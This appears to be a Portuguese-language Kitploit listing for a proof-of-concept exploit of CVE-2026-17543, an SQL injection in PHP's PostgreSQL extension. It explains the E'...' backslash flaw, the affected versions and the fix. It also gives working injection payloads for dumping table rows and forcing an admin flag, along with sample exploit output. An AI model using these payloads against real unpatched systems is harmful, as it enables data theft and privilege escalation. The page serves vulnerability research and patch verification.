Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
e-is-for-exploit-cve-2026-17543-php-pgsql-sql-injection-backslash-breakout — Exploit de PoC para CVE-2026-17543: injeção de SQL no PHP ext/pgsql via escape de barra invertida, com exfiltração de dados e payloads de escalonamento de privilégios de administrador para PostgreSQL. | Kitploit
Ferramentas/GitHubGitHub/hunt-benito/e-is-for-exploit-cve-2026-17543-php-pgsql-sql-injection-backslash-breakout
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebAprendizado e EducaçãoSegurança de Banco de DadosLabs e Prática
GitHubhunt-benito/e-is-for-exploit-cve-2026-17543-php-pgsql-sql-injection-backslash-breakout

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

e-is-for-exploit-cve-2026-17543-php-pgsql-sql-injection-backslash-breakout

Exploit de PoC para CVE-2026-17543: injeção de SQL no PHP ext/pgsql via escape de barra invertida, com exfiltração de dados e payloads de escalonamento de privilégios de administrador para PostgreSQL.

Ver Repositório
112há 1 mêsAinda não revisado

CVE-2026-17543 — Injeção de SQL no PHP ext/pgsql via E'...' com quebra por barra invertida

Prova de conceito para CVE-2026-17543 (CVSS 9.8 Crítico, CWE-89), uma vulnerabilidade de injeção de SQL na extensão procedural PostgreSQL do PHP.

Resumo da Vulnerabilidade

pg_insert(), pg_select(), pg_update(), pg_delete() e pg_convert() passam todos os valores de string por php_pgsql_convert(), que:

  1. Escapa o valor com PQescapeStringConn() da libpq — que, sob standard_conforming_strings = on (o padrão do PostgreSQL desde a versão 9.1), duplica ' em '' e deixa \ intacto (correto para um literal '...' comum).
  2. Encapsula o resultado escapado com php_pgsql_add_quotes() em uma constante de string de escape E'...' em vez de um '...' simples.

Dentro de E'...', a barra invertida é um caractere de escape, então uma \ colocada antes de uma aspa anula a duplicação de aspas: \' vira uma aspa literal ', e a segunda aspa — colocada ali pela rotina de escape para ser um literal duplicado — agora encerra a string antes do tempo. Tudo o que vem depois é SQL bruto e injetado.

A correção oficial (commit ab048bd83b57) é um caractere: emitir '...' em vez de E'...'.

Versões Afetadas

Não afetados: pg_query_params() (ligação real de parâmetros) e statements preparados do PDO_PGSQL / PDO::quote() — estes usam caminhos de código distintos que nunca chamam php_pgsql_add_quotes().

Payload

root@kitploit:~
zzz\' OR 1=1 --

(uma barra invertida imediatamente antes da aspa simples)

  • Build vulnerável emite ... WHERE "name"=E'zzz\'' OR 1=1 --' → OR 1=1 é interpretado como SQL → retorna todas as linhas.
  • Build corrigido emite ... WHERE "name"='zzz\'' OR 1=1 --' → a barra invertida é um caractere comum, então OR 1=1 -- é engolido dentro do literal de string → não corresponde a nada.

Um segundo payload (eve\', true) --) demonstra escalada de privilégio por meio de pg_insert(), forçando a coluna admin para true.

Arquivos

Início Rápido (Docker)

root@kitploit:~
docker compose up --build --abort-on-container-exit

Saída esperada em um build vulnerável

root@kitploit:~
PHP version:              8.4.23
standard_conforming_strings: on
----------------------------------------------------------------------

[1] pg_select() data exfiltration
    payload (runtime): zzz\' OR 1=1 --
    generated SQL:
      SELECT * FROM "users" WHERE "name"=E'zzz\'' OR 1=1 --'
    rows returned: 2
    [!] INJECTION - leaked every row in the table

[2] pg_insert() privilege escalation
    name payload (runtime): eve\', true) --
    generated SQL:
      INSERT INTO "users" ("name","admin") VALUES (E'eve\'', true) --','f')
    inserted row admin flag: 't'
    [!] INJECTION - admin column forced to TRUE

Done.

Em um build corrigido, o SQL gerado contém '...' (sem E), [1] relata rows returned: 0 / no injection, e [2] relata admin flag: 'f'.

Execução Sem Docker

Aponte PGCONN para qualquer PostgreSQL e execute com um PHP vulnerável:

root@kitploit:~
PGCONN="host=127.0.0.1 port=5432 dbname=test user=test password=test" php poc.php

Requisitos

  • Um build de PHP vulnerável nas faixas acima, compilado com ext/pgsql (--with-pgsql / a extensão pgsql).
  • Qualquer PostgreSQL (9.1+, ou seja, com standard_conforming_strings = on).

Encerramento

root@kitploit:~
docker compose down -v

⚠️ Aviso de Segurança

A imagem PHP usada aqui é, por definição, não corrigida contra o CVE-2026-17543. Execute-a apenas em um contêiner isolado e descartável, e rode docker compose down -v ao terminar. Nunca aponte este PoC para um banco de dados que seja importante para você.

Referências

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-17543
  • Advisory do GitHub GHSA-7qpv-r5mr-78m4: https://github.com/php/php-src/security/advisories/GHSA-7qpv-r5mr-78m4
  • Commit da correção: https://github.com/php/php-src/commit/ab048bd83b578119cf81b456526d50498421d617
Baixar ferramenta
VersãoVulnerávelCorrigida
PHP 8.2< 8.2.338.2.33
PHP 8.3< 8.3.338.3.33
PHP 8.4< 8.4.248.4.24
PHP 8.5< 8.5.98.5.9
ArquivoDescrição
poc.phpDemonstra as variantes de exfiltração de dados do pg_select e de escalada de privilégio do pg_insert; imprime o SQL gerado para que o token E'...' fique visível
DockerfileFixa uma imagem PHP CLI vulnerável (php:8.4.23-cli) com ext/pgsql
docker-compose.ymlSobe o PostgreSQL 16 + o contêiner PHP vulnerável e executa poc.php